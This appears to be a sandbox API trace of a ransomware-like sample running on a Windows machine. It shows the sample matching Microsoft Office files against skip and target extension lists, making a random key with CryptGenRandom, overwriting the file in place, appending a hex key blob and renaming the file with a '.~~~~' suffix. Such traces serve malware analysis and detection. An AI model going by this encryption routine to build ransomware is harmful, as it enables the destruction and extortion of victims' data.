	[0144.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\spring.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.461] lstrlenW (lpString=".sqb") returned 4
	[0144.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".sqb") returned 0x0
	[0144.461] lstrlenW (lpString=".ost") returned 4
	[0144.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".ost") returned 0x0
	[0144.461] lstrlenW (lpString=".txt") returned 4
	[0144.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".txt") returned 0x0
	[0144.461] lstrlenW (lpString=".mdt") returned 4
	[0144.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".mdt") returned 0x0
	[0144.461] lstrlenW (lpString=".BDB") returned 4
	[0144.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".BDB") returned 0x0
	[0144.461] lstrlenW (lpString=".eql") returned 4
	[0144.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".eql") returned 0x0
	[0144.461] lstrlenW (lpString=".DBF") returned 4
	[0144.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".DBF") returned 0x0
	[0144.462] lstrlenW (lpString=".EQL") returned 4
	[0144.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".EQL") returned 0x0
	[0144.462] lstrlenW (lpString=".FDB") returned 4
	[0144.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".FDB") returned 0x0
	[0144.462] lstrlenW (lpString=".EDB") returned 4
	[0144.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".EDB") returned 0x0
	[0144.462] lstrlenW (lpString=".DACPAC") returned 7
	[0144.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".DACPAC") returned 0x0
	[0144.462] lstrlenW (lpString=".VHD") returned 4
	[0144.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".VHD") returned 0x0
	[0144.462] lstrlenW (lpString=".DBV") returned 4
	[0144.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".DBV") returned 0x0
	[0144.462] lstrlenW (lpString=".dacpac") returned 7
	[0144.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".dacpac") returned 0x0
	[0144.462] lstrlenW (lpString=".sdf") returned 4
	[0144.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".sdf") returned 0x0
	[0144.462] lstrlenW (lpString=".accdb") returned 6
	[0144.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".accdb") returned 0x0
	[0144.462] lstrlenW (lpString=".DBX") returned 4
	[0144.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".DBX") returned 0x0
	[0144.462] lstrlenW (lpString=".MDT") returned 4
	[0144.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".MDT") returned 0x0
	[0144.463] lstrlenW (lpString=".SQB") returned 4
	[0144.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".SQB") returned 0x0
	[0144.463] lstrlenW (lpString=".vhd") returned 4
	[0144.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".vhd") returned 0x0
	[0144.463] lstrlenW (lpString=".bac") returned 4
	[0144.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".bac") returned 0x0
	[0144.463] lstrlenW (lpString=".mdf") returned 4
	[0144.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".mdf") returned 0x0
	[0144.463] lstrlenW (lpString=".BAK") returned 4
	[0144.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".BAK") returned 0x0
	[0144.463] lstrlenW (lpString=".BAC") returned 4
	[0144.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".BAC") returned 0x0
	[0144.463] lstrlenW (lpString=".dbs") returned 4
	[0144.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".dbs") returned 0x0
	[0144.463] lstrlenW (lpString=".vhdx") returned 5
	[0144.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".vhdx") returned 0x0
	[0144.463] lstrlenW (lpString=".NDF") returned 4
	[0144.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".NDF") returned 0x0
	[0144.463] lstrlenW (lpString=".dat") returned 4
	[0144.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".dat") returned 0x0
	[0144.464] lstrlenW (lpString=".DBS") returned 4
	[0144.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".DBS") returned 0x0
	[0144.464] lstrlenW (lpString=".CKP") returned 4
	[0144.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".CKP") returned 0x0
	[0144.464] lstrlenW (lpString=".edb") returned 4
	[0144.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".edb") returned 0x0
	[0144.464] lstrlenW (lpString=".PST") returned 4
	[0144.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".PST") returned 0x0
	[0144.464] lstrlenW (lpString=".dbf") returned 4
	[0144.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".dbf") returned 0x0
	[0144.464] lstrlenW (lpString=".SQL") returned 4
	[0144.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".SQL") returned 0x0
	[0144.464] lstrlenW (lpString=".pst") returned 4
	[0144.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".pst") returned 0x0
	[0144.464] lstrlenW (lpString=".dbv") returned 4
	[0144.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".dbv") returned 0x0
	[0144.464] lstrlenW (lpString=".SDF") returned 4
	[0144.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".SDF") returned 0x0
	[0144.464] lstrlenW (lpString=".dtxs") returned 5
	[0144.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".dtxs") returned 0x0
	[0144.464] lstrlenW (lpString=".db3") returned 4
	[0144.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".db3") returned 0x0
	[0144.465] lstrlenW (lpString=".OST") returned 4
	[0144.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".OST") returned 0x0
	[0144.465] lstrlenW (lpString=".dbx") returned 4
	[0144.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".dbx") returned 0x0
	[0144.465] lstrlenW (lpString=".DB3") returned 4
	[0144.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".DB3") returned 0x0
	[0144.465] lstrlenW (lpString=".DAT") returned 4
	[0144.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".DAT") returned 0x0
	[0144.465] lstrlenW (lpString=".VHDX") returned 5
	[0144.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".VHDX") returned 0x0
	[0144.465] lstrlenW (lpString=".ndf") returned 4
	[0144.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".ndf") returned 0x0
	[0144.465] lstrlenW (lpString=".DB") returned 3
	[0144.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".DB") returned 0x0
	[0144.465] lstrlenW (lpString=".sql") returned 4
	[0144.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".sql") returned 0x0
	[0144.465] lstrlenW (lpString=".MYD") returned 4
	[0144.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".MYD") returned 0x0
	[0144.465] lstrlenW (lpString=".DBT") returned 4
	[0144.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".DBT") returned 0x0
	[0144.465] lstrlenW (lpString=".ACCDB") returned 6
	[0144.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".ACCDB") returned 0x0
	[0144.466] lstrlenW (lpString=".fdb") returned 4
	[0144.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".fdb") returned 0x0
	[0144.466] lstrlenW (lpString=".bak") returned 4
	[0144.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".bak") returned 0x0
	[0144.466] lstrlenW (lpString=".myd") returned 4
	[0144.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".myd") returned 0x0
	[0144.466] lstrlenW (lpString=".DTXS") returned 5
	[0144.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".DTXS") returned 0x0
	[0144.466] lstrlenW (lpString=".ckp") returned 4
	[0144.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".ckp") returned 0x0
	[0144.466] lstrlenW (lpString=".dbt") returned 4
	[0144.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".dbt") returned 0x0
	[0144.466] lstrlenW (lpString=".db") returned 3
	[0144.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".db") returned 0x0
	[0144.466] lstrlenW (lpString=".TXT") returned 4
	[0144.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".TXT") returned 0x0
	[0144.466] lstrlenW (lpString=".MDF") returned 4
	[0144.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".MDF") returned 0x0
	[0144.466] lstrlenW (lpString=".bdb") returned 4
	[0144.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".bdb") returned 0x0
	[0144.466] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.467] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395168) returned 1
	[0144.468] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.468] CryptReleaseContext (hProv=0x395168, dwFlags=0x0) returned 1
	[0144.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.468] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26445857458) returned 1
	[0144.469] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbf8478d0, dwHighDateTime=0x1d60e1e)) 
	[0144.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37ff98
	[0144.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37ff98 | out: hHeap=0x300000) returned 1
	[0144.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acb00
	[0144.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acb00 | out: hHeap=0x300000) returned 1
	[0144.469] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0144.470] GetLastError () returned 0x0
	[0144.470] GetLastError () returned 0x0
	[0144.470] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0144.470] GetLastError () returned 0x0
	[0144.470] GetLastError () returned 0x0
	[0144.470] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0144.516] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.516] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0144.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0144.516] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.516] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.517] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.517] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.517] CloseHandle (hObject=0x138) returned 1
	[0144.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.518] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\spring.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\spring.css.~~~~")) returned 1
	[0144.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37bb70 | out: hHeap=0x300000) returned 1
	[0144.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.657] GetLastError () returned 0x0
	[0144.657] RtlWakeConditionVariable () returned 0x0
	[0144.657] GetCurrentThreadId () returned 0xaf0
	[0144.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".scr") returned 0x0
	[0144.657] lstrlenW (lpString=".cmd") returned 4
	[0144.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".cmd") returned 0x0
	[0144.657] lstrlenW (lpString=".dll") returned 4
	[0144.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".dll") returned 0x0
	[0144.657] lstrlenW (lpString=".bat") returned 4
	[0144.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".bat") returned 0x0
	[0144.657] lstrlenW (lpString=".cpl") returned 4
	[0144.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".cpl") returned 0x0
	[0144.657] lstrlenW (lpString=".sys") returned 4
	[0144.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".sys") returned 0x0
	[0144.658] lstrlenW (lpString=".msc") returned 4
	[0144.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".msc") returned 0x0
	[0144.658] lstrlenW (lpString=".com") returned 4
	[0144.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".com") returned 0x0
	[0144.658] lstrlenW (lpString=".lnk") returned 4
	[0144.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".lnk") returned 0x0
	[0144.658] lstrlenW (lpString=".msp") returned 4
	[0144.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".msp") returned 0x0
	[0144.658] lstrlenW (lpString=".pif") returned 4
	[0144.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".pif") returned 0x0
	[0144.658] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch="msp\r\n.pif") returned 0x0
	[0144.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0144.818] lstrlenW (lpString=".sqb") returned 4
	[0144.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".sqb") returned 0x0
	[0144.818] lstrlenW (lpString=".ost") returned 4
	[0144.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".ost") returned 0x0
	[0144.819] lstrlenW (lpString=".txt") returned 4
	[0144.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".txt") returned 0x0
	[0144.819] lstrlenW (lpString=".mdt") returned 4
	[0144.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".mdt") returned 0x0
	[0144.819] lstrlenW (lpString=".BDB") returned 4
	[0144.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".BDB") returned 0x0
	[0144.819] lstrlenW (lpString=".eql") returned 4
	[0144.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".eql") returned 0x0
	[0144.819] lstrlenW (lpString=".DBF") returned 4
	[0144.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".DBF") returned 0x0
	[0144.819] lstrlenW (lpString=".EQL") returned 4
	[0144.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".EQL") returned 0x0
	[0144.819] lstrlenW (lpString=".FDB") returned 4
	[0144.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".FDB") returned 0x0
	[0144.820] lstrlenW (lpString=".EDB") returned 4
	[0144.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".EDB") returned 0x0
	[0144.820] lstrlenW (lpString=".DACPAC") returned 7
	[0144.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".DACPAC") returned 0x0
	[0144.820] lstrlenW (lpString=".VHD") returned 4
	[0144.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".VHD") returned 0x0
	[0144.820] lstrlenW (lpString=".DBV") returned 4
	[0144.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".DBV") returned 0x0
	[0144.820] lstrlenW (lpString=".dacpac") returned 7
	[0144.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".dacpac") returned 0x0
	[0144.820] lstrlenW (lpString=".sdf") returned 4
	[0144.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".sdf") returned 0x0
	[0144.820] lstrlenW (lpString=".accdb") returned 6
	[0144.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".accdb") returned 0x0
	[0144.820] lstrlenW (lpString=".DBX") returned 4
	[0144.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".DBX") returned 0x0
	[0144.820] lstrlenW (lpString=".MDT") returned 4
	[0144.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".MDT") returned 0x0
	[0144.820] lstrlenW (lpString=".SQB") returned 4
	[0144.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".SQB") returned 0x0
	[0144.820] lstrlenW (lpString=".vhd") returned 4
	[0144.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".vhd") returned 0x0
	[0144.820] lstrlenW (lpString=".bac") returned 4
	[0144.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".bac") returned 0x0
	[0144.820] lstrlenW (lpString=".mdf") returned 4
	[0144.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".mdf") returned 0x0
	[0144.821] lstrlenW (lpString=".BAK") returned 4
	[0144.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".BAK") returned 0x0
	[0144.821] lstrlenW (lpString=".BAC") returned 4
	[0144.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".BAC") returned 0x0
	[0144.821] lstrlenW (lpString=".dbs") returned 4
	[0144.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".dbs") returned 0x0
	[0144.821] lstrlenW (lpString=".vhdx") returned 5
	[0144.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".vhdx") returned 0x0
	[0144.821] lstrlenW (lpString=".NDF") returned 4
	[0144.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".NDF") returned 0x0
	[0144.821] lstrlenW (lpString=".dat") returned 4
	[0144.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".dat") returned 0x0
	[0144.821] lstrlenW (lpString=".DBS") returned 4
	[0144.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".DBS") returned 0x0
	[0144.821] lstrlenW (lpString=".CKP") returned 4
	[0144.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".CKP") returned 0x0
	[0144.821] lstrlenW (lpString=".edb") returned 4
